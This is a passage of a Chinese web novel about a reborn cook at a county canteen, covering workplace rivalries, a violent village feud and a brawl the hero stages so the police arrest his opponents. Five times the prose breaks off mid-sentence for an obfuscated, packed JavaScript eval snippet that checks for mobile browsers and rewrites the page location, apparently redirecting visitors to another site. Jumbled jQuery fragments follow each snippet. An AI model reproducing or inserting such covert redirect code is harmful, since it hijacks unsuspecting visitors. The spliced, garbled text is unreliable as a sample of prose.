黎军心里冷笑,这货是打算把自己放在火上烤的意思,领导们都在,说得这么冠冕堂皇,自己要是不答应,在领导们心中就落了下乘。
不过左**终究是打错了算盘,黎军才不在乎别人怎么看自己呢!
重来一世,他更是不打算迁就任何人,率性而为,做好自己就行了。
点了根烟,斜眯向左**:“你这是在想屁吃。”
左**脸上的笑容顿时僵住,嘴唇子哆嗦了几下。
“你……你这同志怎么能这么自私,这么没有大局观呢,我们都在饮食公司这条大船上,众人拾柴火焰高吗,以后公司有了钱,我们的福利还能少了,领导们还打算给我们盖职工宿舍呢!”
黎军冷笑:“我胃口不好,你也别在这画大饼,以前二食堂一直垫底,怎么不见你有大局观呢,婚丧嫁娶的包席也没见你往二食堂安排一次。
二食堂的工人几个月没拿过奖金了,你问过没,他们的工资是不是足额发放了,你又问过没……”
左**脸色涨成了猪肝色,呼吸都有些不顺畅了。
没等开口,黎军接茬道:“你们一食堂那早餐是差一点意思吗,那是差了驴拔长一大截好吧!
这时候还想着给自己扯块遮羞布呢,你懂啥叫指点吗,做得大差不差那叫指点,好家伙,你这都赶上门外汉了让我指点啥?
说成重新回炉另拜师还差不多,一食堂早餐做好了,能不能给我发点奖金,包席会不会分润我们一点?
给你脸大的,说得那么有大局观,还本位主义思想,我就是个小人物,只能管好自己的一亩三分地。
去你们一食堂指点,对不起,我没那个本事,也没那个觉悟,自己孩子还不够吃呢,还有闲心奶别人孩子!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067829|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>这一顿怼,左**感觉自己心脏都要不好了,面子是一点都没给留啊!
其实左**的话,要是徐良说的话,黎军还真得考虑一下,毕竟所站的高度不一样。
左**凭啥说,自己都是个极端的本位主义者,还有脸说别人。
徐良讪笑,不得不出面打下圆场,站在他的位置,三个食堂都是一家。
黎军刚才的话其实也有些打他的脸,毕竟他也动了让黎军指点一食堂的念头。
“呵呵……大军啊,其实老左刚才的话,我们几个也动了点心思,你要是实在不愿意就算了,把心思放在二食堂也没错,毕竟都是独立核算的。”
一把手都这样说了,还说啥呀!
黎军尬笑道:“嘿嘿嘿,我也不是不讲理的人,大河有水小河满的道理还拎得清。
但是有些人一上来就扣大帽子,把我架到火上去烤,往我下巴垫砖头,当我傻子吗,也不知道我什么时候给人造成成好说话的错觉。”
徐良嘴角抽搐:这嘴巴跟放毒一样,好说话个**。
刘战胜敲了敲桌面:“小左说话也有点欠妥,搞工作吗,有商有量的才是解决问题的方式。
黎军同志,你也别认死理,一食堂推出早餐花了不少钱呢,厨具买了一大堆,总不能都闲着吧!
你看怎么安排一下,给他们带几个做早餐的师傅出来,毕竟整个临县早餐这么大份额,二食堂一家也做不完啊!”
黎军点头:“瞧瞧,都是一样说话,看人刘总怎么说的,好言一句三冬暖,恶语相向六月寒。
我也不是小气的人,一食堂安排几个面案,早上下来帮我们一起做早餐,我负责现场教学一个礼拜,至于能学到多少,就看他们自己本事了。
我的技术也是花钱费心思学的,没理由阿猫阿狗空口白话一说,我就平白教给他。”
左**脸上挂着僵硬的笑容,心里却有上万只白色的东西奔腾而过,他也搞不清自己哪里得罪过黎军,这货对自己说话,从来不会考虑什么面子。
之前让这货去一食堂站过几天炉子,给领导们做过菜,但是自己把功劳揽过来的事他也不应该知道啊!
打死他也想不到,黎军这是把上一世的怨恨报复到这一世了。
第60章 被针对了
左**一顿饭差点把自己送走,要不是他有绵里藏刀属性,估计当场就得吐血三升。
徐良等人趁热打铁,特意叮嘱左**抓紧安排面案师傅,尽快到二食堂学习早餐技术。
黎军坐了一会就告辞了,他不愿意跟这些爱摆谱的多聊。
一群饮食公司的小头头,官僚架子那叫一个足,不知道还以为是市级干部呢!
不过他刚要离开的时候,徐良突然说起一件事,让他心里有点不舒服了。
“小福,下个月杨彩凤调去三食堂当经理,前厅领班让李莉莎做吧!”
刘小福愕然一下,然后就想通了,李莉莎的老爸跟徐良是战友,有意帮扶提拔一下没毛病,不过杨彩凤调走让他挺意外的。
这是个老员工,做事认真踏实,井井有条,不过人家升迁了是好事,总不能挡着人家的好事吧?
“三食堂的经理跟一个二婚头私奔了,好好的工作都不要了,瞧瞧这做的什么孽,听说还有两个孩子呢!”
“是那个叫海燕的大堂经理吗,她家的事我大概知道点,婆家待她不好……”
男人不是不爱八卦,有合适的话题,也没有老娘们什么事。
“那二食堂不是就缺个大堂经理了吗?”
刘小福期期艾艾。
徐良无所谓道:“让李莉莎好好锻炼一下,适应几天直接做大堂经理吧,招呼人的差使,没啥技术含量。”
其他人都知道徐良的心思,也不好提出异议,左右不过一个大堂经理而已。
第二天早饭时,刘小福宣布了上头的决定,李莉莎担任二食堂领班兼见习经理。
众人这才发现,杨彩凤压根就没来二食堂上班。
刘曼、李谋女等老员工都是一脸不忿。
“她凭啥当领班和经理,来了才一个多月?”
“人家上头有人,少说两句。”
“就是,咱们二食堂现在生意好,奖金肯定少不了,得罪了经理,扣发你奖金找谁说理去。”
老员工的话让李莉莎有点脸色难看。
刘小福双手下压:“都安静一下,别整针对新人那一套,以后都配合一下李莉莎的工作,咱们现在工作这么忙,没时间整那些没用的。”
老员工们不吭声了,单位有制度谁也没办法。
后厨没人开口,都在默默吃饭,前台人事变动跟他们无关。
“嗯……那个……大家放心,我会好好干的,不管是领班还是经理,我还是原来的我,对大家会一视同仁的,请大家支持我的工作……”
李莉莎适时起身,说了点没啥营养的话。
新来的服务员赵麦香和郑紫燕干巴巴地鼓了掌。
后厨鼓掌的倒是不少,毕竟是男人,又在后厨工作,跟前边交集不大。
刘小福也象征性地拍了拍手:“小李啊,以后好好干,徐总很看好你的,别给他丢人啊!”
“嗯嗯,经理放心,我会好好干的。”
第二天中午休息时间,李莉莎安排服务员大扫除,大厅里的玻璃橱窗,地面,后厨的玻璃格挡彻底擦洗。
直到下午上班时才结束,老员工一个个脸都要拉到脚面了。
以前是避过周末才会大扫除,周六周日下午上客比较早,大家也需要休息。
下午上客时间,刘曼跟伍一凡在出餐口等菜。
“落水狗上岸,抖起来了,狗屁领班,大扫除也不是周六搞的啊,拿着鸡毛当令箭。”
刘曼忍不住吐槽,伍一凡根本不接话,她是新人,可不敢背地里说领导,本身言谨也是个习惯。
“刘姐,前边缺个人点菜,你去顶一下。”
传菜间是前厅和后厨的过渡区域,有七八米距离,加工成菜会有人送到出菜口,然后由服务员端到前厅。
上客高峰期,这里需要两个人来回穿梭,才能完成中间的衔接。
刘曼被抽调后,里边就剩了伍一凡一个人。
小姑娘一下午跑得呼哧带喘,小脸绯红,前厅催菜更是叫苦不迭。
看到出菜口压了几道成品,黎军皱眉过来查看。
有些菜品上桌需要抢时间,比如焦溜、锅巴类,拔丝类菜品,不能及时上桌就算是失败品。
“一凡,怎么就剩你一个人了?”
“黎师傅,刘曼姐被抽调走,去前厅给客人点菜了。”
伍一凡可怜巴巴。
“胡闹,炒好的菜端不上去,光点单有个**用,给刘经理说,让他协调一下……算了,我去说吧!”
说完不等伍一凡回话,自己出了后厨去前台了。
这时候大厅里已经坐满了食客,所有人都在忙碌,李莉莎和另一个门迎在门外迎客。
“让李莉莎给传菜间安排个人,成品端不上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067830|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,傻站在门口搞**。”
“呵呵”
刘小福苦笑。
于是李莉莎被叫回来纠正工作失误:“大厅里都坐满了,门外留一个门迎就可以了,后边炒好的菜都压在那了!”
李莉莎讪笑:“不好意思经理,是我安排失误,下次注意。”
传菜间里,李莉莎小脸阴沉:“伍一凡,这也没多忙啊,怎么会压菜呢?”
“哦,莉莎姐你来了,刚才厨师长帮忙端了一会,我一个人实在跑不过来。”
“你就是矫情,没一点担当,多干一点腿能跑细还是能累死咋滴?”
李莉莎语气刻薄,伍一凡顿觉委屈,大冬天她跑得内衣裤都湿了,却迎来领班一句能噎**的话。
“莉莎姐,不是我矫情,实在是后厨出菜快,我端不过来。”
“哼……端不过来,我看你就是故意不想支持我工作的。”
李莉莎不依不饶。
“我没有……你蛮不讲理,传菜从来都是两个人的。”
泥人还有三分火气,伍一凡对她的不讲理忍无可忍。
“我怎么不讲理了,你完不成本职工作,说你两句还不愿意了,干工作一点担待都没有。
咱们这不是临时缺个人吗,都像你这么斤斤计较,咱们二食堂这工作还要不要干了,我看你就是自私,人品有问题?”
李莉莎拿出领导架子,伍一凡直接哑火。
这都上升到人品问题了,小姑娘也不知道该怎么反驳了。
“一天天心思不放在工作上,就知道往厨师长跟前凑,明天去外边点菜端菜吧!”
伍一凡突然明白了,自己这是被针对了,于是也针锋相对起来。
“呵呵,莉莎姐,你这人真有意思,往厨师长跟前凑的不知道是谁,还好意思说我,厨师长那茶杯都快成了你的暖手宝了吧,害得人家都不好意思喝茶了。”
“你……”
李莉莎气抖冷。
员工餐晚饭吃的是烩麻食,当地人吃这种饭不需要下饭菜,所有员工每人一个大碗,大厅里三三两两随便就座。
黎军端着饭碗在伍一凡旁边坐下,打算搭讪一下这个腼腆小美女。
谁知他刚坐下,对方就端起碗,冷着小脸躲避瘟神一样走开了。
这大写的尴尬啊。
“这是咋了,我啥时候变得这么讨厌了?”
第61章 屈家意外
“别这么不自信,你一直都不怎么招人喜欢,除了后厨的爷们,还是因为他们需要跟你学技术的原因!”
刘小福笑着走过来,跟他坐在一起。
黎军撇撇嘴:“他们那是嫉妒我高大帅气。”
“这话也没啥毛病,就是那说话跟放毒一样,让人不怎么喜欢。”
黎军讪讪一笑,对方说的似乎没啥毛病。
“对了,后天有包席,喜迎元旦,你安排一下菜单,十八备二,怎么高档怎么来。”
刘小福正色道。
黎军意外:“咋回事,哪的包席?”
以往包席都是在一食堂的,他们是根正苗红的国营第一饭店,加上左**的小动作,二、三食堂基本没有大型包场。
“官方宴会,请的是退下来的老干部、劳模,加上行政衙门的官老爷,郭**指定安排咱们这的,估计也是占了你的光。”
“那你不给我点提成,这都是我的人脉,挣了钱不该表示一下吗?”
刘小福翻了个白眼:“你还是二食堂的台柱子呢,有点格局好吧!”
“没有上限吗,怎么高档怎么来这就没边了?”
刘小福受眼界所限,说话有点偏。
“大老爷们说的,就现在这食材,王八鸽子随便上,能花几个钱,那些老干部都是为国家洒过热血的,吃点好的不过分。”
黎军带着坏笑道:“这么说倒是行,就怕钱花得多了,老爷们受不了。”
刘小福没好气:“磨磨叽叽,你先把菜单开出来,我明天拿给管事的看下。”
其实当时不是没有高档食材,华夏饮食文化博大精深,那些从古代就流传下来的珍馐佳肴,寻常人根本吃不起。
鲍鱼燕窝、鱼翅广肚、熊掌鹿茸……等等。海八珍、山八珍、禽八珍、草八珍……都是珍馐中的珍馐。
只不过当时内地经济稍显落后,普通宴席难以匹配而已。
第二天一大早,黎军将写好的菜单交给刘小福。
热菜:溏心鲍鱼、白汁通天翅、葱烧海参、八宝葫芦鸭、秘制火方、红烧熊掌、草菇烧虾子,香酥乳鸽、猴菇菜心、竹荪炖干笋
凉菜:卤鹅、罗汉鱼肚牛肉、腊羊排、蓑衣芦笋、灯影酥鱼片、云耳拌桃仁、软炸云香……
汤羹:清汤燕菜、元鱼当归炖母鸡
十热八凉两道汤羹,刘小福都惊了,语气有些干涩道。
“啊……这个你拿手吗?”
“把那个吗字去掉?”
黎军自信满满,餐饮行业就没有他不拿手的。
“那行吧,我拿给老爷们看看,你这些东西我一大半都听过更没见过。”
黎军挑挑眉:“小样,话说得这么满,这才哪到哪,听说过佛跳墙吗,那玩意一坛子下来,没个小一千想都别想,懂啥叫金枪鱼刺身吗,彩虹龙见过吗,黑金鲍知道吗……”
刘小福翻着白眼:“这给你显摆的,你咋不上天呢!”
这时伍一凡从外边进来:“经理早上好,黎师傅,你弟弟来了,说找你有点事。”
黎强这些天带着李春材等人栽围篱,吃饭都是在二食堂解决,一来二去跟二食堂的员工都很熟。
“咋了,今天怎么就你们两人,屈战和牛子他们呢?”
黎军出了门,就看见弟弟和李春材站在门口,两个人都没坐,手里拿着包子边吃边等他。
“哥,屈战家里出点事,你给我拿点钱吧!”
“咋了,需要多少?”
黎军边说边从兜里掏出一叠钱来,差不多有一百多。
“这不够,他们一家人被村里人打了,挺严重的,医院押金就要三千块呢,我们是从医院过来的!”
“啥时候的事,因为啥呀?”
“昨晚上,屈战妹妹来跟我说的,原因不清楚,小姑娘吓坏了,就是哭。”
李春材道。
他跟屈战一个村的,不过一个东头一个西头,他们这些天干的都是重体力活,晚上回家就早早地睡了,半夜里,屈战妹妹屈玲跑去叫他的。
“你们等着,我去找经理借点。”
正常出门,谁也不可能带这么多钱,那时候存折都是一张纸,没有现如今的卡方便。
刘小福听说借三千,想了想就让出纳去银行取钱了。
国营饭店也不可能留这么多的现钱。
人民医院,黎军见到了牛志强等人,还有五十多岁的屈母以及他的大弟,个个满脸焦急地站在门口,这么多钱他们也拿不出来。
“军哥来了”
“屈战一家人老惨了”
“军哥,我们实在是没钱啊!”
屈战为人喜乐实诚,一众朋友都喜欢跟他玩。
黎军点头:“阿姨别太担心,这事自有我们兄弟替屈战出面。”
屈母满眼含泪,儿子成天跟一群老六混日子,她也不待见,现在看着这些平
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067831|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日的狐朋狗党没有抛弃儿子,心里是五味杂陈。
出事后,屈战的大伯二伯两家连露面都不曾,还不如这些旁人。
“大姐,住院费就要三千块的,我带来了五百,还差得多呢,可咋整啊?”
屈战的大舅一脸为难,当时的农村人能拿出这么多钱的寥寥无几。
“先救人要紧,其他的阿姨你就别管了,我先垫着。”
不等屈母为难开口,黎军打断道。
交了住院费,屈战爷仨才住进去。
询问了医生后,黎军不禁吃了一惊。
屈战胳膊、鼻梁骨、小腿骨骨折,他哥屈禄肋骨断了三根,浑身多处软组织挫伤,最严重的是他爸,颅骨骨折,颅内出血,现在人还昏迷不醒。
“我们去废了那家人。”
“就是,我们兄弟绝不能这么被人打了。”
“我去准备家伙式,弄死那家王八蛋。”
几个兄弟气得黑血直充脑门子,他们成天好勇斗狠,不曾想自己兄弟被人干成这样。
黎军气得想**:“你们一个个都是棒槌吗,这是重伤害,他们已经违法了,没必要咱们去出手,报**了没?”
李春材:“还没呢,屈战家男的都被放倒了,家里就老妈跟妹妹,我们把人送医院,她们也没了主意。”
黎军无语:“强子,你跟大伟去报案,让**直接带着法医来。
春材,牛子,回屈战家帮忙拿换洗衣服,把他妹妹也接过来,阿姨一个人肯定照顾不过来。”
李春材道:“都是老爷们,他妹妹也不方便照顾,让我们几个换着来吧!”
黎军点头,这提议靠谱。
“那行了,就这么办,你们跟我去一趟屈战家,了解一下是怎么回事,咱们得先了解清楚来龙去脉,**去了才好应对。”
事情的起因并不复杂,跟多数农村起冲突原因差不多,都是鸡毛蒜皮的小事。
两家因小麦冬灌起的冲突。
种过地的都知道,小麦播种需要深翻,冬季干旱时,麦苗根系架空,冬灌就成了必须步骤。
疏松的土地被灌溉后,人根本就靠近不了,一踩一个大深坑,高筒的雨靴都拔不出来。
这里有个关键问题,冬灌都是机井抽水,需要花钱的,所以松软的水渠溢流时,就需要及时堵上。
华老大(华东民)跟屈家连畔种地,矛盾就是因为冬灌而起。
第62章 不知死活(上)
黎军跟李春材等人赶到华家庄的时候,心情有些复杂。
跟屈家发生冲突的是华家人,也就是他以前老丈人的大哥华东民。
这个华家老大跟三弟不同,家里人丁格外兴旺,虎子就有五个,下边还有两个妹妹。
华东民本就脾气暴躁,祖上成分不好被打压后,性格变得有些极端。
改革开放后,时代发生巨大变化,华东民算是彻底看清了,过去的已经彻底成了过去式,谁也不能再拿自己的过去说事了。
因为挨过整,现在的他觉得,整个社会都欠自己的。
加上他有五个虎子,在村里是绝对的抖起来了。
他们家冬灌,水渠遇到溢水,直接从屈家地里起土,一趟冬灌下来,把人家地里起出一排大坑,绿油油的麦田地皮裸露,老远就能看见。
这种事以前也发生过,都没有这次过分,于是两家门前,屈母郭慧娴和华家母老虎在村道对上。
两个人从掐着腰大骂,相互问候对方宗族十八代开始。
到跳着脚互喷口水,不惜将对方的上半身都糊满。
再就是相互用肚子和胸器互怼。
最终失控,两双九阴白骨抓舞出残影互撕。
华家母老虎本名姬金巧,一米七大高个虎背熊腰,妥妥的母大虫属性,不过因为太胖的原因,干仗草包的不行。
屈母干练灵活,凭借灵巧走位挠的姬金巧那叫一个酸爽。
华家五虎上将看到老娘吃亏,哪里还能忍了,对着屈母就要下手。
屈家爷们自然不能干看着,于是就发展到两家老爷们纷纷撸袖子下场。
奈何双拳难敌四手,人手的差距是屈家无法逾越的鸿沟。
爷仨被当街全部撂倒,躺在地上几个小时也无人问津。
常言道,事不关己高高挂起,村里这种事情,看热闹吃瓜的大有人在,但是场面失控,血呼刺啦的就没人敢伸手了,谁也不想沾染这种麻烦。
帮了谁都要得罪另一方,吃力不讨好的事情傻子才会干。
最后屈母让闺女屈玲去叫李春材,这才找了些儿子平日里的狐朋**来帮忙,将爷仨用架子车送到人民医院。
屈玲把事情的前因后果都说了一遍后,黎军也没什么可做,既然报了**,让他们来处理也是最好的结果。
“屈玲,别担心,咱们没错,这种事他们动手在前,而且也是因为他们的原因才起的冲突,**会给咱们做主的。”
黎军安慰屈玲,小姑娘哭得眼睛都肿了。
“黎大哥,我哥和我爸严重不?”
黎军不想骗她,这事也没啥好隐瞒的。
“你两个哥哥就是骨折,问题不大,你爸的情况也不清楚,得等检查结果出来才知道,别担心了。”
黎军看屈玲双拳紧握,眼神担忧,心里也不是滋味,于是就跟李春材等人打算到大门口抽烟,顺便等**过来。
同一时间,华东民院子里,姬金巧正在扒拉粪笼里的猪草。
“他大,你说屈家那老头不会有啥事吧,我看老大用砖头砸了他的脑袋?”
华东民浑不在意:“打破头而已,他家人躺那就是想讹咱们一笔。”
“就是,那老头抓着我的手力气大着呢,根本不像是有事的样子。”
小儿子插话。
“跟咱们老华家叫板,踏马的胆子肥了啊,不狠狠地教训一下,村里人都跟着学样子。
那些年屈家也分了咱家不少东西呢,他家那个板柜就是你爷打的,正经花梨木呢!”
华东民甚至把土改时的老账都给翻了出来。
“现在他家没人,咱去把板柜抬回来吧!”
三儿子一脸脑残样,根本不觉得这是犯法似的。
“我觉得可以,本来就是咱家的。”
姬金巧居然还在怂恿。
农村人有句老话,抓猪仔看母猪,什么样的家长就能教出什么样的儿子。
华东民小儿子一出门,就看见屈家院子里站了几个大小伙子。
“大、大哥,屈家找来帮手了,在他家院里呢!”
“我呸,真的是胆子肥了啊,抄家伙,咱们去看看。”
黎军等人刚到门口,就听到吐老痰,外加一道刻薄的女高音响起。
“嗬……呸,自家人打不过,找帮手算什么本事。”
于是众人往隔壁门楼看过去,只见华家五虎上将都肩扛铁锨,姬金巧提着捶布的棒槌,气势汹汹的往出挤。
当下就有些气不打一处来,屈家爷仨重伤进医院了,这家人却屁事没有,看来是完虐了屈家这边了啊!
华家老大华仁恶狠狠地看向黎军:“这不是黎家那小子吗,打算给屈家出头吗,想动手就放马过来,看爷能不能给你打出屎就完了。”
华家五虎上将的名字分别是“仁、义、礼、智、信,听着就很有深意的样子。
黎军不屑地瞟了他一眼:“看你那瓜皮样子,屎巴牛打哈欠,臭气熏天的玩意。”
“你**说谁瓜皮呢?”
“**骂谁呢!”
“**骂你呢!”
黎**头看向身后:“哦……出门碰上个**,昨晚睡觉没做好梦,出门就被狗咬了!”
“哈哈哈……”
李春材、牛志强和蔺小权都夸张地哈哈大笑。
华仁反应慢了半拍,看这些人哄堂大笑才反应过来,直接勃然大怒。
“你**找死!”
说罢大手下压,扛在肩头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067832|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的铁锨立起,对着黎军就破口大骂。
“我三爸家的事还没找你算账呢,你个鸡扒玩意还敢送上门来找死。”
李春材等人见状,撸起袖子就要上前。
黎军双臂伸展挡住他们。
“别跟疯狗一般见识,他要敢上来找抽,我不介意成全他一下。”
华家五兄弟个个膀大腰圆,黎军不想李春材他们插手,关键是不在一个量级上,伸手肯定被对方完虐。
“黎家的小子,这事跟你没关系,少狗拿耗子多管闲事。”
姬金巧刻薄道。
她家五虎上将是她的骄傲,五个铁塔一样的壮小伙子往那一站,不欺负人都由不得她。
“黎军,你赶紧哪凉快哪待着去,这里没你事。”
华家其他兄弟也插话道。
黎军冷笑:“一家子瓜皮玩意,这是你家啊,老子想站哪,跟你们有个**关系,真是牛槽多出几张驴嘴。”
华家仗势欺人,黎军很是看不惯,加上他们一张嘴就胡乱喷粪,太想揍人了。
“泥马的说谁瓜皮呢?”
华仁大踏步过来,动手的架势足足的。
黎军上前一步,只要这货敢先动手,他就没打算客气。
“老子就说你了,一家子瓜皮二百五。”
“你**吧!”
华仁气得嘴唇子哆嗦,举起铁锨就冲过来。
黎军大步上前,直接撞在对方胸口,肩膀顺势顶在对方胳膊下,铁锨直接脱手。
高屈膝,重重顶在华仁腹部,这货哼一声退出去几大步。
还没等站稳,一只四十三码大脚丫子再次送上,正面踹在脸上。
华仁的大块头仰面栽倒,鼻血在空中划出一道华丽的曲线。
太快了,眨眼的功夫,华仁就被放倒,其他四兄弟还没反应过来呢。
就听得姬金巧杀猪一样嚎叫起来。
“啊……黎家杂种,你敢打我儿子,今天老娘要杀了你,华礼……你们几个是**吗,就看着你哥被人打。”
四兄弟顿时反应过来,抄起铁锨就冲上来,一副要打**的架势。
李春材等人哪里能干看着,此时即便是干不过也要上,传出去岂不是要毁了名声。
黎军见四兄弟一股脑冲上来,根本不慌,这种毫无章法地挤过来,不是上赶着找抽是什么。
一个箭步上前,狠狠一脚踹在华信的脚踝上。
轻微的咔嚓上伴随着刺耳的惨嚎响起,这哥们直接抱着脚歪倒。
“啊……我的脚!”
其他人被华信倒地的身体挡住,个个目眦欲裂,恨不得活撕了黎军给兄弟报仇。
“打死这杂种”
“我要杀了你”
“老子活剐了你”
第63章 不知死活(下)
”哥几个,并肩子上。”
李春材一声吼,率先冲到黎军身后护驾,牛志强和蔺小权自然也不能怂,跟着冲上来要跟华家兄弟对打。
然而还没等他们接触上华家兄弟呢,黎军就又放倒一个。
华义被抓住胳膊反关节一扭,身体不自觉转过去,屁股上被狠狠一脚正蹬上去,一个狗吃屎栽倒。
李春材等人都惊呆了,这武力值堪称恐怖。
电光火石之间,华家五虎上将三个人就吃了大亏,人数劣势直接被翻转。
然而黎军接下来的操作让他们齐齐懵圈,眼看着局势大好,这货却一抱脑袋,撞进华智怀里,任由他的铁锨拍在自己后背。
放倒华义的时候,黎军后背肩头也被拍了两下,不过都没往脑袋上招呼,他心里有了些底。
毕竟没啥死仇怨,华家兄弟也不傻,没下死手。
黎军抱着脑袋躺下,身体蜷缩成一团,任由哥俩往自己身上招呼。
“泥马的……让你张狂。”
“屎给你打出来。”
姬金巧也扑上来,照着黎军屁股上猛踢。
李春材沙包大的拳头还没打在对方身上,就听见警笛声由远及近。
赶紧识时务地抱头躺下,牛志强蔺小权也是同上操作,这时候岂能不明白黎军的目的。
华家兄弟吃了亏,心思都在报仇的快感中,警笛声传来时,并没有第一时间停手。
“干什么干什么,都住手。”
**眼里看到的是,华家哥几个加上他们的老娘姬金巧,围着地上的人下死手招呼,李春材几个人躺在地上有些尴尬,根本没人搭理自己。
这还了得,再晚就要出人命了,因为华家兄弟手上拿的是铁锨,妥妥**的节奏。
“砰”
乔峰超往天上开了一枪,巨大的轰鸣让华家人如遭雷击。
没想到**来得这么快,他们的目的是**到来之前,给地上这装逼的货一点深刻教训,他们华家五虎打架从来没吃过亏。
“都拷起来带回去”
十几名**呼啦一下冲上来,七手八脚就把华家兄弟和老娘给按那了,闪亮的银手镯也没落下。
被拷住双手,姬金巧不干了,冲给她戴**的**撒起了泼,大胸脯子大肚腩子直往人胸口上撞。
“凭啥拷我们,明明是姓黎的小子先动手的,给老娘解开。”
“就是,没看我哥被打得满脸血吗?”
“我们老三的脚都断了,凭啥抓我们。”
乔峰超都无语了,这家人脑袋被驴踢了还是进水了,医院还躺着三个人,其中一个生死不知呢,他们不仅没事人一样,还又在这跟人干仗。
“老实点,你们昨晚**的事还没处理呢,又在这耍二百五。”
“昨晚咋了,屈家人也动手了,没看我儿子眼睛还肿着呢!”
姬金巧尖厉的嗓音很不讨喜,**们都没搭理她。
乔峰超扶起黎军,一看还是个熟人,顿时都给逗笑了。
“哎吆,黎军,怎么又是你,都快成了我们**局的常客了。”
黎军苦笑:“我可能长了张欠揍的脸吧,谁都想揍我一顿刷存在感。”
“伤得怎么样?”
他们一起喝过酒,算是有些交情了。
“头晕眼花,看不清东西,还有点恶心想吐。”
乔峰超嘴角直抽搐:那还说啥呀,典型的脑震荡症状,送医院救治验伤啊!
“你们几个别装**,我都看见你们躺倒时的情况了。”
李春材等人讪讪起身,演技还是不行啊,一眼就让人看出来了。
“放开我,我不去**局,我们没有错,都是他们先动的手。”
**推姬金巧上车时,这胖婆娘跳着脚挣扎,一个劲说自己是无辜的。
“不管谁先动的手,你们家人**事没有,人家一家子都在医院里躺着呢!”
“别跳了,跟地震似的。”
“把她塞进去,拷在栏杆上。”
乔峰超很不耐烦,农村这种泼妇法盲无知得很,仗着家里壮劳力多,在村里横行霸道惯了,可没少给**局添堵。
所有人塞进车里后,乔峰超拍了拍黎军肩膀。
“车里坐不下了,你们跟着去吧!”
黎军委屈:“乔队,你没看我差点**,不应该是送我去医院吗?”
“呵呵,说的是他们几个,我带你去医院,那边的情况还没来得及了解呢!”
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067833|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们不能带走我儿子。”
就在两个人说话的时候,华东民拉着架子车,挡在了警车前头。
之前他儿子老婆出门**的时候,他没出来,五个虎子对付黎军三个人还不跟玩似的,没想到等他拉了泡屎出来,一家子整整齐齐地给拷上了。
“这些是你儿子,你昨晚也参与**事件了吧?”
“把他也带走,一家人犯事,就得整整齐齐的。”
乔峰超无语道。
两个**上前,将华东民的架子车扔到一边,将他也给拷上了。
“干啥干啥,**了不起啊,随便就抓人,老子又没犯法。”
华东民跟他老婆一样,叫嚣着不肯上车。
“塞进去带走,无法无天了还!”
面包车里,华家七口人被大萝卜一样强塞进去。
这家人块头都不小,面包车塞得满满当当,一个**还特意看了看车轱辘,就被轮胎给压爆了。
华家人被带上车后,黎军拉着屈玲也上了乔峰超的车,一行人准备往医院而去。
车上,**给屈玲做着笔录,记录昨晚发生的事情。
还有人给黎军做了笔录,今天纯粹就是华家五虎上将找事,黎军也有意要揍他们一顿出气,只是没想到**来得太快了。
“乔队,屈家人个个骨折,老爷子昏迷,这算是重伤害吧?”
乔峰超点头:“具体要伤情鉴定结果出来才能下结论,不过老爷子重伤是没跑了,具体几级还要看检查结果。”
“华家人这种情况会怎么判,总不能都给判了吧?”
黎军担心的是这家人都进去了,医药费怎么办,光住院押金都交了三千块,三个人躺在医院里,这点钱肯定不够。
“华家人不蠢的话,肯定会保下几个人的,你是担心赔偿问题吧?”
